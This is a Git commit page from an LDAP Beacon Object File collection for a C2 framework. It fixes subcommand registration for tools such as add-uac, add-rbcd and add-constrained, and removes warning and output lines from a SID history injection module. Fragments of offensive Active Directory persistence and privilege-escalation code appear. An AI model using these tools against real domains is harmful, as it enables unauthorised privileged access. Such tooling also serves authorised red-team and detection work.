admin/P0142-LDAP-Bof-Collection
1
0
Fork 0
mirror of https://github.com/P0142/LDAP-Bof-Collection synced 2026-06-21 13:45:06 +00:00
Code Issues Packages Projects Releases Wiki Activity

Fixed issue where add-uac wasn't appearing as a subcommand

Browse Source
This commit is contained in:
p0142
2025-12-15 02:30:17 +00:00
parent dc6c7a2919
commit f64fe42c4b
2 changed files with 3 additions and 26 deletions
Download Patch File Download Diff File Expand all files Collapse all files
ldap.axs
+3 -3
View File
@@ -1266,7 +1266,7 @@ var _cmd_addconstrained = ax.create_command(
"ldap add-constrained machine01$ RestrictedKrbHost/machine01.domain.local -dc dc01.domain.local"
);
_cmd_addconstrained.addArgString("target", true, "Object name or DN");
_cmd_addconstrained.addArgString("spn", true, "Delegation SPN (replaces all existing)");
_cmd_addconstrained.addArgString("spn", true, "Delegation SPN");
_cmd_addconstrained.addArgFlagString("-ou", "ou_path", false, "OU path to search");
_cmd_addconstrained.addArgFlagString("-dc", "dc_fqdn", false, "Domain Controller FQDN");
_cmd_addconstrained.addArgBool("--ldaps", "Use LDAPS (port 636)");
@@ -1382,8 +1382,8 @@ _cmd_removegenericall.setPreHook(function (id, cmdline, parsed_json, ...parsed_l
// Create main command and declare subcommands
var cmd_ldap = ax.create_command("ldap", "LDAP domain interactions (LDAP-BOF)");
cmd_ldap.addSubCommands([_cmd_addace, _cmd_addrbcd, _cmd_addspn, _cmd_adddelegation, _cmd_addattribute, _cmd_adduac. _cmd_addsidhistory, _cmd_setowner]);
cmd_ldap.addSubCommands([_cmd_addgroupmember]);
cmd_ldap.addSubCommands([_cmd_addace, _cmd_addrbcd, _cmd_addspn, _cmd_addattribute, _cmd_adduac]);
cmd_ldap.addSubCommands([_cmd_addgroupmember, _cmd_setowner]);
cmd_ldap.addSubCommands([_cmd_addcomputer, _cmd_adduser, _cmd_addgroup, _cmd_addou]);
cmd_ldap.addSubCommands([_cmd_getdomaininfo, _cmd_getcomputers, _cmd_getwritable, _cmd_getobject, _cmd_getgroups, _cmd_getusers, _cmd_getmaq]);
cmd_ldap.addSubCommands([_cmd_getusergroups, _cmd_getgroupmembers]);
src/add/add-sidhistory.c
-23
View File
@@ -190,21 +190,9 @@ void go(char *args, int alen) {
if (!sidSource || MSVCRT$strlen(sidSource) == 0) {
BeaconPrintf(CALLBACK_ERROR, "[-] SID source is required");
BeaconPrintf(CALLBACK_ERROR, "[!] Can be: SID string (S-1-5-...), username, or DN");
return;
}
BeaconPrintf(CALLBACK_OUTPUT, "");
BeaconPrintf(CALLBACK_OUTPUT, "[!] ========================================");
BeaconPrintf(CALLBACK_OUTPUT, "[!] WARNING: SID HISTORY INJECTION");
BeaconPrintf(CALLBACK_OUTPUT, "[!] ========================================");
BeaconPrintf(CALLBACK_OUTPUT, "[!] This is a HIGH-PRIVILEGE operation that:");
BeaconPrintf(CALLBACK_OUTPUT, "[!] - Requires DS-Install-Replica rights or equivalent");
BeaconPrintf(CALLBACK_OUTPUT, "[!] - May be logged extensively (Event ID 4765, 4766)");
BeaconPrintf(CALLBACK_OUTPUT, "[!] - Can trigger security alerts");
BeaconPrintf(CALLBACK_OUTPUT, "[!] - Provides persistent privileged access");
BeaconPrintf(CALLBACK_OUTPUT, "");
BeaconPrintf(CALLBACK_OUTPUT, "[*] SID source: %s", sidSource);
// Initialize LDAP connection
@@ -242,7 +230,6 @@ void go(char *args, int alen) {
targetDN = FindObjectDN(ld, targetIdentifier, searchBase);
if (!targetDN) {
BeaconPrintf(CALLBACK_ERROR, "[-] Failed to resolve target DN");
BeaconPrintf(CALLBACK_ERROR, "[!] Target '%s' not found", targetIdentifier);
if (defaultNC) MSVCRT$free(defaultNC);
CleanupLDAP(ld);
@@ -250,12 +237,10 @@ void go(char *args, int alen) {
}
}
BeaconPrintf(CALLBACK_OUTPUT, "");
// Display current state
BeaconPrintf(CALLBACK_OUTPUT, "[*] Current target object state:");
DisplaySidHistory(ld, targetDN);
BeaconPrintf(CALLBACK_OUTPUT, "");
// Determine SID to add
BERVAL* sidToAdd = NULL;
@@ -263,7 +248,6 @@ void go(char *args, int alen) {
// Check if sidSource is a string SID (starts with "S-")
if (sidSource[0] == 'S' && sidSource[1] == '-') {
BeaconPrintf(CALLBACK_OUTPUT, "[*] Parsing string SID...");
// Convert string SID to binary
PSID binarySid = NULL;
@@ -364,14 +348,9 @@ void go(char *args, int alen) {
if (result == LDAP_SUCCESS) {
BeaconPrintf(CALLBACK_OUTPUT, "[+] Successfully added SID to sidHistory!");
BeaconPrintf(CALLBACK_OUTPUT, "");
if (sidString) {
BeaconPrintf(CALLBACK_OUTPUT, "[+] Added SID: %s", sidString);
}
BeaconPrintf(CALLBACK_OUTPUT, "");
BeaconPrintf(CALLBACK_OUTPUT, "[*] The target object now has the privileges of the SID added");
BeaconPrintf(CALLBACK_OUTPUT, "[*] This change persists across password resets");
BeaconPrintf(CALLBACK_OUTPUT, "");
// Display updated state
BeaconPrintf(CALLBACK_OUTPUT, "[*] Updated object state:");
@@ -417,6 +396,4 @@ cleanup:
if (targetDN) MSVCRT$free(targetDN);
if (dcHostname) MSVCRT$free(dcHostname);
CleanupLDAP(ld);
BeaconPrintf(CALLBACK_OUTPUT, "");
}